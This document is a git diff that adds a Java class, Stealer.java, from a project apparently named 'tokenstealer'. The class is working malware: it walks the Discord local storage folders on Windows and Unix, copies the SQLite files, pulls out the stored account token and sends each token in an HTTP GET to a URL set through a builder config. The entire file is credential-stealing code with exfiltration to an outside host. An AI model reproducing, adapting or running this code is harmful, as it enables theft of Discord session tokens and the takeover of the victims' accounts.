1 files changed, 143 insertions, 0 deletions
diff --git a/src/main/java/de/romjaki/tokenstealer/stealer/Stealer.java b/src/main/java/de/romjaki/tokenstealer/stealer/Stealer.java
new file mode 100644
index 0000000..d595ccd
--- /dev/null
+++ b/src/main/java/de/romjaki/tokenstealer/stealer/Stealer.java
@@ -0,0 +1,143 @@
+package de.romjaki.tokenstealer.stealer;
+
+import de.romjaki.tokenstealer.builder.Config;
+
+import java.io.File;
+import java.io.IOException;
+import java.net.HttpURLConnection;
+import java.net.URL;
+import java.nio.file.*;
+import java.nio.file.attribute.BasicFileAttributes;
+import java.sql.*;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+import java.util.stream.Stream;
+
+public class Stealer {
+    private static final String UNIX_LOCALSTORAGE = "glob:" + System.getenv("HOME") + "/.config/discord*/Local Storage/*discordapp*_0.localstorage";
+    private static final String WINDOWS_LOCALSTORAGE = "glob:" + System.getenv("APPDATA") + "\\discord*\\Local Storage\\*discordapp*_0.localstorage";
+
+    public static void steal() {
+        try {
+            Class.forName("org.sqlite.JDBC");
+        } catch (ClassNotFoundException e) {
+            e.printStackTrace();
+            return;
+        }
+        getDiscordLocations()
+                .stream()
+                .peek(System.out::println)
+                .map(Stealer::copy)
+                .map(Path::toFile)
+                .map(Stealer::sqliteConnect)
+                .flatMap(Stealer::getToken)
+                .forEach(Stealer::sendToken);
+    }
+
+    private static Path copy(Path from) {
+        try {
+            Path to = Files.createTempFile(from.getParent(), "backup-", ".localstorage");
+            Files.copy(from, to, StandardCopyOption.REPLACE_EXISTING);
+            return to;
+        } catch (IOException e) {
+            e.printStackTrace();
+        }
+        return from;
+    }
+
+    private static Connection sqliteConnect(File file) {
+        try {
+            return DriverManager.getConnection("jdbc:sqlite:" + file.getCanonicalPath());
+        } catch (SQLException | IOException e) {
+            e.printStackTrace();
+        }
+        return null;
+    }
+
+    private static void sendToken(String token) {
+        System.out.println("Found token: " + token);
+        try {
+            HttpURLConnection conn = (HttpURLConnection)
+                    new URL(String.format(Config.INSTANCE.getRequest(), token))
+                            .openConnection();
+            conn.setRequestMethod("GET");
+            conn.getInputStream().read();
+        } catch (IOException e) {
+            e.printStackTrace();
+        }
+    }
+
+    private static Stream<String> getToken(Connection connection) {
+        try {
+            Statement stmt = connection.createStatement();
+            ResultSet result = stmt.executeQuery("SELECT key, value FROM ItemTable WHERE key='token'");
+            Stream.Builder<String> builder = Stream.builder();
+            while (result.next()) {
+                byte[] blob = result.getBytes("value");
+                byte[] buffer = new byte[blob.length / 2];
+                int i = -1;
+                while (++i < buffer.length)
+                    buffer[i] = blob[i * 2];
+                builder.add(new String(buffer).replace("\"", ""));
+            }
+            return builder.build();
+        } catch (SQLException e) {
+            e.printStackTrace();
+        }
+        return Stream.of();
+    }
+
+
+    private static List<Path> getDiscordLocations() {
+        List<Path> matches = new ArrayList<>();
+        matches.addAll(getUnixDiscordLocations());
+        matches.addAll(getWindowsDiscordLocations());
+        return matches;
+    }
+
+    private static List<Path> globRecurse(String glob, String start) {
+        try {
+            return globRecurse(glob, Paths.get(start));
+        } catch (Exception e) {
+            return Collections.emptyList();
+        }
+    }
+
+    private static List<Path> globRecurse(String glob, Path path) {
+        List<Path> matches = new ArrayList<>();
+        try {
+            PathMatcher unixMatcher = FileSystems.getDefault()
+                    .getPathMatcher(glob);
+            Files.walkFileTree(path, new SimpleFileVisitor<Path>() {
+                @Override
+                public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) {
+                    System.out.print(file);
+                    if (unixMatcher.matches(file)) {
+                        System.out.println("[FOUND]");
+                        matches.add(file);
+                    } else {
+                        System.out.println("[NOT FOUND]");
+                    }
+                    return FileVisitResult.CONTINUE;
+                }
+
+                @Override
+                public FileVisitResult visitFileFailed(Path file, IOException exc) {
+                    return FileVisitResult.CONTINUE;
+                }
+            });
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        return matches;
+    }
+
+    private static List<Path> getWindowsDiscordLocations() {
+        return globRecurse(WINDOWS_LOCALSTORAGE, System.getenv("APPDATA"));
+    }
+
+    private static List<Path> getUnixDiscordLocations() {
+        return globRecurse(UNIX_LOCALSTORAGE, System.getenv("HOME") + "/.config");
+    }
+}